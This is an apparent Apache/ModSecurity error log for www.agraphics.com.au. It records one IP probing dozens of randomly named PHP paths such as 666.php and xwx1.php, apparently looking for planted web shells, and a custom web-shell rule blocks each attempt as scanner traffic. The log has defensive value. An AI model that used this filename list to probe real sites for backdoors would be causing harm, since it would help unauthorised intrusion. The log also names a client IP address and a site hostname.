[Fri Apr 17 06:25:57.734001 2026] [:error] [pid 9153:tid 9241] [client 20.91.253.196:12182] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zc-220.php"] [unique_id "aeFh9eMHGxkTZX3c45cVVAAAAJc"]
[Fri Apr 17 06:25:59.443361 2026] [:error] [pid 51878:tid 51881] [client 20.91.253.196:12241] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zc-220.php"] [unique_id "aeFh90nQhUtMbw9EsgaUlwAAAQE"]
[Fri Apr 17 06:26:00.881889 2026] [:error] [pid 51878:tid 51888] [client 20.91.253.196:12203] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zc-220.php"] [unique_id "aeFh-EnQhUtMbw9EsgaUogAAAQg"]
[Fri Apr 17 06:26:01.861824 2026] [:error] [pid 9152:tid 9208] [client 20.91.253.196:12104] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "aeFh-ZJYca8I3TNCwIcgHwAAAFI"]
[Fri Apr 17 06:26:03.182691 2026] [:error] [pid 9153:tid 9222] [client 20.91.253.196:12164] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "aeFh--MHGxkTZX3c45cVbgAAAIQ"]
[Fri Apr 17 06:26:04.156684 2026] [:error] [pid 9153:tid 9239] [client 20.91.253.196:12108] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "aeFh_OMHGxkTZX3c45cVdgAAAJU"]
[Fri Apr 17 06:26:05.925932 2026] [:error] [pid 9153:tid 9232] [client 20.91.253.196:12264] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "aeFh_eMHGxkTZX3c45cVgAAAAI4"]
[Fri Apr 17 06:26:07.324325 2026] [:error] [pid 9263:tid 9273] [client 20.91.253.196:12215] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fone1.php"] [unique_id "aeFh_xP68VyHNvj1e54WZQAAAMg"]
[Fri Apr 17 06:26:08.644483 2026] [:error] [pid 9263:tid 9272] [client 20.91.253.196:12192] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fone1.php"] [unique_id "aeFiABP68VyHNvj1e54WbwAAAMc"]
[Fri Apr 17 06:26:09.742660 2026] [:error] [pid 9263:tid 9288] [client 20.91.253.196:12130] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fone1.php"] [unique_id "aeFiARP68VyHNvj1e54WdAAAANc"]
[Fri Apr 17 06:26:10.661465 2026] [:error] [pid 9153:tid 9236] [client 20.91.253.196:12217] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fone1.php"] [unique_id "aeFiAuMHGxkTZX3c45cVoAAAAJI"]
[Fri Apr 17 06:26:11.363655 2026] [:error] [pid 9152:tid 9191] [client 20.91.253.196:12211] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxiviLDIot.php"] [unique_id "aeFiA5JYca8I3TNCwIcgWQAAAEE"]
[Fri Apr 17 06:26:12.098604 2026] [:error] [pid 9263:tid 9274] [client 20.91.253.196:12183] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxiviLDIot.php"] [unique_id "aeFiBBP68VyHNvj1e54WgAAAAMk"]
[Fri Apr 17 06:26:13.103160 2026] [:error] [pid 9153:tid 9232] [client 20.91.253.196:12189] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxiviLDIot.php"] [unique_id "aeFiBeMHGxkTZX3c45cVrAAAAI4"]
[Fri Apr 17 06:26:13.669874 2026] [:error] [pid 9153:tid 9231] [client 20.91.253.196:12244] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxiviLDIot.php"] [unique_id "aeFiBeMHGxkTZX3c45cVtQAAAI0"]
[Fri Apr 17 06:26:14.239525 2026] [:error] [pid 9153:tid 9226] [client 20.91.253.196:12112] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeFiBuMHGxkTZX3c45cVwAAAAIg"]
[Fri Apr 17 06:26:15.013709 2026] [:error] [pid 51878:tid 51889] [client 20.91.253.196:12119] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeFiB0nQhUtMbw9EsgaUyQAAAQk"]
[Fri Apr 17 06:26:15.898452 2026] [:error] [pid 51878:tid 51892] [client 20.91.253.196:12286] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeFiB0nQhUtMbw9EsgaU0wAAAQw"]
[Fri Apr 17 06:26:16.664830 2026] [:error] [pid 9151:tid 9177] [client 20.91.253.196:12287] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeFiCMhTVuRPkua22vSq7wAAABA"]
[Fri Apr 17 06:26:17.429620 2026] [:error] [pid 51878:tid 51885] [client 20.91.253.196:12132] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "aeFiCUnQhUtMbw9EsgaU5wAAAQU"]
[Fri Apr 17 06:26:18.550406 2026] [:error] [pid 9151:tid 9167] [client 20.91.253.196:12249] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "aeFiCshTVuRPkua22vSq9wAAAAY"]
[Fri Apr 17 06:26:20.044226 2026] [proxy_fcgi:error] [pid 9151:tid 9161] [client 20.91.253.196:12179] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:26:20.335985 2026] [proxy_fcgi:error] [pid 9151:tid 9164] [client 20.91.253.196:12179] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:26:20.957183 2026] [proxy_fcgi:error] [pid 9151:tid 9185] [client 20.91.253.196:12179] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:26:21.458138 2026] [proxy_fcgi:error] [pid 9151:tid 9161] [client 20.91.253.196:12179] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:26:21.781242 2026] [proxy_fcgi:error] [pid 9151:tid 9179] [client 20.91.253.196:12179] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:26:22.074664 2026] [proxy_fcgi:error] [pid 9151:tid 9166] [client 20.91.253.196:12179] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:26:22.489329 2026] [proxy_fcgi:error] [pid 9151:tid 9176] [client 20.91.253.196:12179] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:26:22.782879 2026] [proxy_fcgi:error] [pid 9151:tid 9162] [client 20.91.253.196:12179] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:26:23.076114 2026] [proxy_fcgi:error] [pid 9151:tid 9167] [client 20.91.253.196:12179] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:26:23.368170 2026] [proxy_fcgi:error] [pid 9151:tid 9161] [client 20.91.253.196:12179] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:26:23.934661 2026] [proxy_fcgi:error] [pid 9151:tid 9164] [client 20.91.253.196:12179] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:26:24.221610 2026] [:error] [pid 9151:tid 9166] [client 20.91.253.196:12179] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aeFiEMhTVuRPkua22vSrKAAAAAU"]
[Fri Apr 17 06:26:26.177712 2026] [:error] [pid 51878:tid 51892] [client 20.91.253.196:12169] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aeFiEknQhUtMbw9EsgaVGAAAAQw"]
[Fri Apr 17 06:26:27.908029 2026] [:error] [pid 9152:tid 9191] [client 20.91.253.196:12283] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aeFiE5JYca8I3TNCwIcghQAAAEE"]
[Fri Apr 17 06:26:30.360113 2026] [:error] [pid 9152:tid 9207] [client 20.91.253.196:12124] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aeFiFpJYca8I3TNCwIcgkgAAAFE"]
[Fri Apr 17 06:26:31.410541 2026] [:error] [pid 9152:tid 9203] [client 20.91.253.196:12121] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tx79.php"] [unique_id "aeFiF5JYca8I3TNCwIcglwAAAE0"]
[Fri Apr 17 06:26:32.719132 2026] [:error] [pid 9263:tid 9272] [client 20.91.253.196:12099] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tx79.php"] [unique_id "aeFiGBP68VyHNvj1e54WxQAAAMc"]
[Fri Apr 17 06:26:33.474060 2026] [:error] [pid 9152:tid 9205] [client 20.91.253.196:12210] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tx79.php"] [unique_id "aeFiGZJYca8I3TNCwIcgsAAAAE8"]
[Fri Apr 17 06:26:34.472548 2026] [:error] [pid 9151:tid 9185] [client 20.91.253.196:12250] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tx79.php"] [unique_id "aeFiGshTVuRPkua22vSrSwAAABg"]
[Fri Apr 17 06:26:35.899458 2026] [:error] [pid 9152:tid 9204] [client 20.91.253.196:12098] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/CDX2.php"] [unique_id "aeFiG5JYca8I3TNCwIcgzAAAAE4"]
[Fri Apr 17 06:26:37.375459 2026] [:error] [pid 51878:tid 51904] [client 20.91.253.196:12123] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/CDX2.php"] [unique_id "aeFiHUnQhUtMbw9EsgaVcQAAARg"]
[Fri Apr 17 06:26:39.582181 2026] [:error] [pid 9151:tid 9161] [client 20.91.253.196:12075] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/CDX2.php"] [unique_id "aeFiH8hTVuRPkua22vSrcgAAAAA"]
[Fri Apr 17 06:26:41.540706 2026] [:error] [pid 51878:tid 51903] [client 20.91.253.196:12116] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/CDX2.php"] [unique_id "aeFiIUnQhUtMbw9EsgaVogAAARc"]
[Fri Apr 17 06:26:43.196956 2026] [:error] [pid 51878:tid 51881] [client 20.91.253.196:12275] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "aeFiI0nQhUtMbw9EsgaVwQAAAQE"]
[Fri Apr 17 06:26:46.240227 2026] [:error] [pid 9152:tid 9207] [client 20.91.253.196:12100] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "aeFiJpJYca8I3TNCwIcg8wAAAFE"]
[Fri Apr 17 06:26:48.909976 2026] [:error] [pid 9151:tid 9164] [client 20.91.253.196:12175] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "aeFiKMhTVuRPkua22vSrjgAAAAM"]
[Fri Apr 17 06:26:51.379145 2026] [:error] [pid 9263:tid 9272] [client 20.91.253.196:12131] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "aeFiKxP68VyHNvj1e54XGwAAAMc"]
[Fri Apr 17 06:26:55.155457 2026] [:error] [pid 51878:tid 51893] [client 20.91.253.196:12105] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wtiiy.php"] [unique_id "aeFiL0nQhUtMbw9EsgaWBAAAAQ0"]
[Fri Apr 17 06:26:58.026206 2026] [:error] [pid 9153:tid 9236] [client 20.91.253.196:12138] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wtiiy.php"] [unique_id "aeFiMuMHGxkTZX3c45cWdAAAAJI"]
[Fri Apr 17 06:26:59.799961 2026] [:error] [pid 9153:tid 9234] [client 20.91.253.196:12135] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wtiiy.php"] [unique_id "aeFiM-MHGxkTZX3c45cWjAAAAJA"]
[Fri Apr 17 06:27:01.909133 2026] [:error] [pid 9263:tid 9265] [client 20.91.253.196:12271] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wtiiy.php"] [unique_id "aeFiNRP68VyHNvj1e54XXgAAAMA"]
[Fri Apr 17 06:27:02.759076 2026] [:error] [pid 9152:tid 9199] [client 20.91.253.196:12032] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "aeFiNpJYca8I3TNCwIchIgAAAEk"]
[Fri Apr 17 06:27:03.516085 2026] [:error] [pid 9263:tid 9276] [client 20.91.253.196:12186] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "aeFiNxP68VyHNvj1e54XYgAAAMs"]
[Fri Apr 17 06:27:04.622898 2026] [:error] [pid 9263:tid 9281] [client 20.91.253.196:12205] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "aeFiOBP68VyHNvj1e54XbwAAANA"]
[Fri Apr 17 06:27:05.504222 2026] [:error] [pid 9263:tid 9285] [client 20.91.253.196:12129] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "aeFiORP68VyHNvj1e54XegAAANQ"]
[Fri Apr 17 06:27:06.212431 2026] [:error] [pid 9263:tid 9275] [client 20.91.253.196:12151] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/motu.php"] [unique_id "aeFiOhP68VyHNvj1e54XigAAAMo"]
[Fri Apr 17 06:27:07.020663 2026] [:error] [pid 9263:tid 9279] [client 20.91.253.196:12145] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/motu.php"] [unique_id "aeFiOxP68VyHNvj1e54XkwAAAM4"]
[Fri Apr 17 06:27:07.751675 2026] [:error] [pid 9153:tid 9234] [client 20.91.253.196:12209] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/motu.php"] [unique_id "aeFiO-MHGxkTZX3c45cWtQAAAJA"]
[Fri Apr 17 06:27:08.501074 2026] [:error] [pid 9152:tid 9196] [client 20.91.253.196:12236] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/motu.php"] [unique_id "aeFiPJJYca8I3TNCwIchNgAAAEY"]
[Fri Apr 17 06:27:09.085255 2026] [:error] [pid 51878:tid 51889] [client 20.91.253.196:12144] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "aeFiPUnQhUtMbw9EsgaWUwAAAQk"]
[Fri Apr 17 06:27:09.869706 2026] [:error] [pid 9263:tid 9275] [client 20.91.253.196:12097] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "aeFiPRP68VyHNvj1e54XtgAAAMo"]
[Fri Apr 17 06:27:10.457116 2026] [:error] [pid 9152:tid 9211] [client 20.91.253.196:12213] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "aeFiPpJYca8I3TNCwIchQQAAAFU"]
